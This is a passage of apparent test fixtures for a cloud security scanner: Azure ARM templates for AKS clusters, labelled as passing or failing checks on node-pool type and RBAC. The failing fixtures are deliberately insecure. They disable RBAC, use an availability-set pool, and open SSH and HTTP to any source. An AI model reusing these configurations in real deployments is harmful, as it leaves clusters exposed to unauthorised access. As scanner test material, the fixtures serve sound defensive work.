}\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2024-02-01\",\n      \"name\": \"fail\",\n      \"location\": \"[parameters('location')]\",\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"type\": \"AvailabilitySet\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"Linux\",\n            \"mode\": \"System\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('clusterName')), '2024-02-01').fqdn]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSPoolTypeIsScaleSet/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.26.170.59819\",\n      \"templateHash\": \"14823542069333410776\"\n    }\n  },\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"minValue\": 0,\n      \"maxValue\": 1023,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      }\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"minValue\": 1,\n      \"maxValue\": 50,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      }\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"standard_d2s_v3\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2024-02-01\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"type\": \"VirtualMachineScaleSets\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"Linux\",\n            \"mode\": \"System\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('clusterName')), '2024-02-01').fqdn]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSPoolTypeIsScaleSet/pass1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.26.170.59819\",\n      \"templateHash\": \"14823542069333410776\"\n    }\n  },\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aks101cluster\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"The location of the Managed Cluster resource.\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"minValue\": 0,\n      \"maxValue\": 1023,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      }\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"minValue\": 1,\n      \"maxValue\": 50,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      }\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"standard_d2s_v3\",\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"apiVersion\": \"2024-02-01\",\n      \"name\": \"pass1\",\n      \"location\": \"[parameters('location')]\",\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n            \"count\": \"[parameters('agentCount')]\",\n            \"vmSize\": \"[parameters('agentVMSize')]\",\n            \"osType\": \"Linux\",\n            \"mode\": \"System\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[parameters('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('clusterName')), '2024-02-01').fqdn]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSRbacEnabled/aksEnableRbac-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azureuser\",\n      \"metadata\": {\n        \"description\": \"User name for the Virtual Machine.\"\n      }\n    },\n    \"sshPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH public key string, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"virtualMachineSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS2_v2\",\n      \"allowedValues\": [\n        \"Standard_B2s\",\n        \"Standard_B2ms\",\n        \"Standard_D2s_v3\",\n        \"Standard_D2_v3\",\n        \"Standard_DS2_v2\",\n        \"Standard_D2_v2\",\n        \"Standard_DS2\",\n        \"Standard_D2\",\n        \"Standard_A2_v2\",\n        \"Standard_A2\"\n      ],\n      \"metadata\": {\n        \"description\": \"The virutal machine size to use. We picked out the sizes with 2 vCPUs, but in real world projects you can choose other sizes as you desired.\"\n      }\n    },\n    \"kubernetesVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"1.14.6\",\n      \"allowedValues\": [\n        \"1.10.13\",\n        \"1.11.10\",\n        \"1.12.8\",\n        \"1.13.10\",\n        \"1.14.6\"\n      ],\n      \"metadata\": {\n        \"description\": \"The version of Kubernetes.\"\n      }\n    },\n    \"jenkinsDnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Unique DNS Name prefix for the Public IP used to access the Jenkins Virtual Machine. Azure will form the final DNS name as '<prefix>.<region>.cloudapp.azure.com'.\"\n      }\n    },\n    \"servicePrincipalAppId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Service Principal App ID (also called Client ID) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers).\"\n      }\n    },\n    \"servicePrincipalAppKey\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Service Principal App Key (also called Client Secret) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers).\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"resourcePrefix\": \"jenkins\",\n    \"OSDiskName\": \"[concat(variables('resourcePrefix'), '-os-disk')]\",\n    \"nicName\": \"[concat(variables('resourcePrefix'), '-nic')]\",\n    \"subnetName\": \"[concat(variables('resourcePrefix'), '-subnet')]\",\n    \"publicIPAddressName\": \"[concat(variables('resourcePrefix'), '-ip')]\",\n    \"vmName\": \"[concat(variables('resourcePrefix'), '-vm')]\",\n    \"virtualNetworkName\": \"[concat(variables('resourcePrefix'), '-vnet')]\",\n    \"vmExtensionName\": \"[concat(variables('resourcePrefix'), '-init')]\",\n    \"frontEndNSGName\": \"[concat(variables('resourcePrefix'), '-nsg')]\",\n    \"aksName\": \"aks\",\n    \"aksDnsPrefix\": \"[concat('aks', uniqueString(resourceGroup().id))]\",\n    \"_artifactsLocation\": \"https://raw.githubusercontent.com/Azure/jenkins/master\",\n    \"_extensionScript\": \"301-jenkins-aks-zero-downtime-deployment.sh\",\n    \"_artifactsLocationSasToken\": \"\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[variables('vmName')]\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"osProfile\": {\n          \"computerName\": \"[variables('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"linuxConfiguration\": {\n            \"disablePasswordAuthentication\": true,\n            \"ssh\": {\n              \"publicKeys\": [\n                {\n                  \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                  \"keyData\": \"[parameters('sshPublicKey')]\"\n                }\n              ]\n            }\n          }\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('virtualMachineSize')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"Canonical\",\n            \"offer\": \"UbuntuServer\",\n            \"sku\": \"16.04-LTS\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"name\": \"[variables('OSDiskName')]\",\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Standard_LRS\"\n            }\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n            }\n          ]\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n      ],\n      \"resources\": [\n        {\n          \"type\": \"extensions\",\n          \"name\": \"[variables('vmExtensionName')]\",\n          \"apiVersion\": \"2015-06-15\",\n          \"location\": \"[parameters('location')]\",\n          \"dependsOn\": [\n            \"[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]\",\n            \"[resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))]\"\n          ],\n          \"properties\": {\n            \"publisher\": \"Microsoft.Azure.Extensions\",\n            \"type\": \"CustomScript\",\n            \"typeHandlerVersion\": \"2.0\",\n            \"autoUpgradeMinorVersion\": true,\n            \"settings\": {\n              \"fileUris\": [\n                \"[concat(variables('_artifactsLocation'), '/quickstart_templates/zero_downtime_deployment/', variables('_extensionScript'), variables('_artifactsLocationSasToken'))]\"\n              ]\n            },\n            \"protectedSettings\": {\n              \"commandToExecute\": \"[concat('./', variables('_extensionScript'), ' --app_id \\\"', parameters('servicePrincipalAppId'), '\\\" --app_key \\\"', parameters('servicePrincipalAppKey'), '\\\" --subscription_id \\\"', subscription().subscriptionId, '\\\" --tenant_id \\\"', subscription().tenantId, '\\\" --resource_group \\\"', resourceGroup().name, '\\\" --aks_name \\\"', variables('aksName'), '\\\" --jenkins_fqdn \\\"', reference(variables('publicIPAddressName')).dnsSettings.fqdn, '\\\" --artifacts_location \\\"', variables('_artifactsLocation'), '\\\" --sas_token \\\"', variables('_artifactsLocationSasToken'), '\\\"')]\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"apiVersion\": \"2016-12-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.89.0.0/16\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"10.89.0.0/24\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[variables('nicName')]\",\n      \"apiVersion\": \"2016-09-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIpAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]\"\n              }\n            }\n          }\n        ],\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworkName'))]\",\n        \"[resourceId('Microsoft.Network/publicIpAddresses', variables('publicIpAddressName'))]\",\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[parameters('jenkinsDnsPrefix')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"name\": \"[variables('frontEndNSGName')]\",\n      \"apiVersion\": \"2017-06-01\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-ssh\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"protocol\": \"Tcp\",\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"destinationPortRange\": \"22\"\n            }\n          },\n          {\n            \"name\": \"allow-jenkins-http\",\n            \"properties\": {\n              \"priority\": 1001,\n              \"protocol\": \"Tcp\",\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"destinationPortRange\": \"80\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"apiVersion\": \"2017-08-31\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('aksName')]\",\n      \"properties\": {\n        \"kubernetesVersion\": \"[parameters('kubernetesVersion')]\",\n        \"dnsPrefix\": \"[variables('aksDnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"count\": 2,\n            \"vmSize\": \"[parameters('virtualMachineSize')]\",\n            \"osType\": \"Linux\",\n            \"storageProfile\": \"ManagedDisks\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                \"keyData\": \"[parameters('sshPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"ClientId\": \"[parameters('servicePrincipalAppId')]\",\n          \"Secret\": \"[parameters('servicePrincipalAppKey')]\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"admin_username\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    },\n    \"jenkins_vm_fqdn\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(variables('publicIPAddressName')).dnsSettings.fqdn]\"\n    },\n    \"jenkins_url\": {\n      \"type\": \"string\",\n      \"value\": \"[concat('http://', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]\"\n    },\n    \"SSH\": {\n      \"type\": \"string\",\n      \"value\": \"[concat('ssh -L 8080:localhost:8080 ', parameters('adminUsername'), '@', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]\"\n    },\n    \"kubernetes_master_fqdn\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSRbacEnabled/aksEnableRbac-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource. Possible locations: australiaeast,canadacentral,canadaeast,centralus,eastus,northeurope,uksouth,westeurope,westus,westus2\"\n      }\n    },\n    \"metadata\": {\n      \"type\": \"object\",\n      \"metadata\": {\n        \"description\": \"Metadata for this resource\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2_v2\",\n      \"allowedValues\": [\n        \"Standard_A10\",\n        \"Standard_A11\",\n        \"Standard_A2\",\n        \"Standard_A2_v2\",\n        \"Standard_A2m_v2\",\n        \"Standard_A3\",\n        \"Standard_A4\",\n        \"Standard_A4_v2\",\n        \"Standard_A4m_v2\",\n        \"Standard_A5\",\n        \"Standard_A6\",\n        \"Standard_A7\",\n        \"Standard_A8\",\n        \"Standard_A8_v2\",\n        \"Standard_A8m_v2\",\n        \"Standard_A9\",\n        \"Standard_D11\",\n        \"Standard_D11_v2\",\n        \"Standard_D12\",\n        \"Standard_D12_v2\",\n        \"Standard_D13\",\n        \"Standard_D13_v2\",\n        \"Standard_D14\",\n        \"Standard_D14_v2\",\n        \"Standard_D15_v2\",\n        \"Standard_D2\",\n        \"Standard_D2_v2\",\n        \"Standard_D3\",\n        \"Standard_D3_v2\",\n        \"Standard_D4\",\n        \"Standard_D4_v2\",\n        \"Standard_D5_v2\",\n        \"Standard_DS11\",\n        \"Standard_DS11_v2\",\n        \"Standard_DS12\",\n        \"Standard_DS12_v2\",\n        \"Standard_DS13\",\n        \"Standard_DS13_v2\",\n        \"Standard_DS14\",\n        \"Standard_DS14_v2\",\n        \"Standard_DS15_v2\",\n        \"Standard_DS2\",\n        \"Standard_DS2_v2\",\n        \"Standard_DS3\",\n        \"Standard_DS3_v2\",\n        \"Standard_DS4\",\n        \"Standard_DS4_v2\",\n        \"Standard_DS5_v2\",\n        \"Standard_F16\",\n        \"Standard_F16s\",\n        \"Standard_F2\",\n        \"Standard_F2s\",\n        \"Standard_F4\",\n        \"Standard_F4s\",\n        \"Standard_F8\",\n        \"Standard_F8s\",\n        \"Standard_G1\",\n        \"Standard_G2\"\n      ],\n      \"metadata\": {\n        \"description\": \"The size of the Virtual Machine.\"\n      }\n    },\n    \"linuxAdminUsername\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azureuser\",\n      \"metadata\": {\n        \"description\": \"User name for the Linux Virtual Machines.\"\n      }\n    },\n    \"sshRSAPublicKey\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'\"\n      }\n    },\n    \"servicePrincipalClientId\": {\n      \"metadata\": {\n        \"description\": \"Client ID (used by cloudprovider)\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"servicePrincipalClientSecret\": {\n      \"metadata\": {\n        \"description\": \"The Service Principal Client Secret.\"\n      },\n      \"type\": \"securestring\"\n    },\n    \"osType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Linux\",\n      \"allowedValues\": [\n        \"Linux\"\n      ],\n      \"metadata\": {\n        \"description\": \"The type of operating system.\"\n      }\n    },\n    \"kubernetesVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"1.9.6\",\n      \"metadata\": {\n        \"description\": \"The version of Kubernetes.\"\n      }\n    },\n    \"httpApplicationRouting\": {\n      \"type\": \"bool\",\n      \"defaultValue\": true,\n      \"metadata\": {\n        \"description\": \"boolean flag to turn on and off of http application routing\"\n      }\n    },\n    \"maxNrOfPods\": {\n      \"type\": \"int\",\n      \"defaultValue\": 110,\n      \"metadata\": {\n        \"description\": \"Maximum number of pods that can run on a node.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"clusterName\": \"[parameters('clusterName')]\",\n    \"adminUsername\": \"[parameters('linuxAdminUsername')]\",\n    \"osDiskSizeGB\": \"[parameters('osDiskSizeGB')]\",\n    \"agentCount\": \"[parameters('agentCount')]\",\n    \"agentVMSize\": \"[parameters('agentVMSize')]\",\n    \"dnsPrefix\": \"[parameters('dnsPrefix')]\",\n    \"sshRSAPublicKey\": \"[parameters('sshRSAPublicKey')]\",\n    \"servicePrincipalClientId\": \"[parameters('servicePrincipalClientId')]\",\n    \"servicePrincipalClientSecret\": \"[parameters('servicePrincipalClientSecret')]\",\n    \"osType\": \"[parameters('osType')]\",\n    \"kubernetesVersion\": \"[parameters('kubernetesVersion')]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-03-31\",\n      \"type\": \"Microsoft.ContainerService/managedClusters\",\n      \"location\": \"[resourceGroup().location]\",\n      \"name\": \"[variables('clusterName')]\",\n      \"tags\": {\n        \"department\": \"[parameters('metadata').department]\",\n        \"projectName\": \"[parameters('metadata').projectName]\",\n        \"owner\": \"[parameters('metadata').owner]\",\n        \"environment\": \"[parameters('metadata').environment]\"\n      },\n      \"properties\": {\n        \"kubernetesVersion\": \"[variables('kubernetesVersion')]\",\n        \"dnsPrefix\": \"[variables('dnsPrefix')]\",\n        \"agentPoolProfiles\": [\n          {\n            \"name\": \"agentpool\",\n            \"osDiskSizeGB\": \"[variables('osDiskSizeGB')]\",\n            \"count\": \"[variables('agentCount')]\",\n            \"vmSize\": \"[variables('agentVMSize')]\",\n            \"osType\": \"[variables('osType')]\",\n            \"storageProfile\": \"ManagedDisks\",\n            \"maxPods\": \"[parameters('maxNrOfPods')]\"\n          }\n        ],\n        \"linuxProfile\": {\n          \"adminUsername\": \"[variables('adminUsername')]\",\n          \"ssh\": {\n            \"publicKeys\": [\n              {\n                \"keyData\": \"[variables('sshRSAPublicKey')]\"\n              }\n            ]\n          }\n        },\n        \"servicePrincipalProfile\": {\n          \"ClientId\": \"[parameters('servicePrincipalClientId')]\",\n          \"Secret\": \"[parameters('servicePrincipalClientSecret')]\"\n        },\n        \"addonProfiles\": {\n          \"httpApplicationRouting\": {\n            \"enabled\": \"[parameters('httpApplicationRouting')]\"\n          }\n        },\n        \"enableRBAC\": \"false\"\n      }\n    }\n  ],\n  \"outputs\": {\n    \"controlPlaneFQDN\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(concat('Microsoft.ContainerService/managedClusters/', variables('clusterName'))).fqdn]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AKSRbacEnabled/aksEnableRbac-FAILED3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"clusterName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"The name of the Managed Cluster resource. Possible locations: australiaeast,canadacentral,canadaeast,centralus,eastus,northeurope,uksouth,westeurope,westus,westus2\"\n      }\n    },\n    \"metadata\": {\n      \"type\": \"object\",\n      \"metadata\": {\n        \"description\": \"Metadata for this resource\"\n      }\n    },\n    \"dnsPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Optional DNS prefix to use with hosted Kubernetes API server FQDN.\"\n      }\n    },\n    \"osDiskSizeGB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 0,\n      \"metadata\": {\n        \"description\": \"Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize.\"\n      },\n      \"minValue\": 0,\n      \"maxValue\": 1023\n    },\n    \"agentCount\": {\n      \"type\": \"int\",\n      \"defaultValue\": 3,\n      \"metadata\": {\n        \"description\": \"The number of nodes for the cluster.\"\n      },\n      \"minValue\": 1,\n      \"maxValue\": 50\n    },\n    \"agentVMSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2_v2\",\n      \"allowedValues\": [\n        \"Standard_A10\",\n        \"Standard_A11\",\n        \"Standard_A2\",\n        \"Standard_A2_v2\",\n        \"Standard_A2m_v2\",\n        \"Standard_A3\",\n        \"Standard_A4\",\n        \"Standard_A4_v2\",\n        \"Standard_A4m_v2\",\n        \"Standard_A5\",\n        \"Standard_A6\",\n        \"Standard_A7\",\n        \"Standard_A8\",\n        \"Standard_A8_v2\",\n        \"Standard_A8m_v2\",\n        \"Standard_A9\",\n        \"Standard_D11\",\n        \"Standard_D11_v2\",\n        \"Standard_D12\",\n        \"Standard_D12_v2\",\n        \"Standard_D13\",\n        \"Standard_D13_v2\",\n        \"Standard_D14\",\n        \"Standard_D14_v2\",\n        \"Standard_D15_v2\",\n        \"Standard_D2\",\n        \"Standard_D2_v2\",\n        \"Standard_D3\",\n        \"Standard_D3_v2\",\n        \"Standard_D4\",\n        \"Standard_D4_v2\",\n        \"Standard_D5_v2\",\n        \"Standard_DS11\",\n        \"Standard_DS11_v2\",\n        \"Standard_DS12\",\n        \"Standard_DS12_v2\",\n        \"Standard_DS13\",\n        \"Standard_DS13_v2\",\n        \"Standard_DS14\",\n        \"Standard_DS14_v2\",\n        \"Standard_DS15_v2\",\n        \"Standard_DS2\",\n        \"Standard_DS2_v2\",\n        \"Standard_DS3\",\n        \"Standard_DS3_v2\",\n        \"Standard_DS4\",\n        \"Standard_DS4_v2\",\n        \"Standard_DS5_v2\",\n        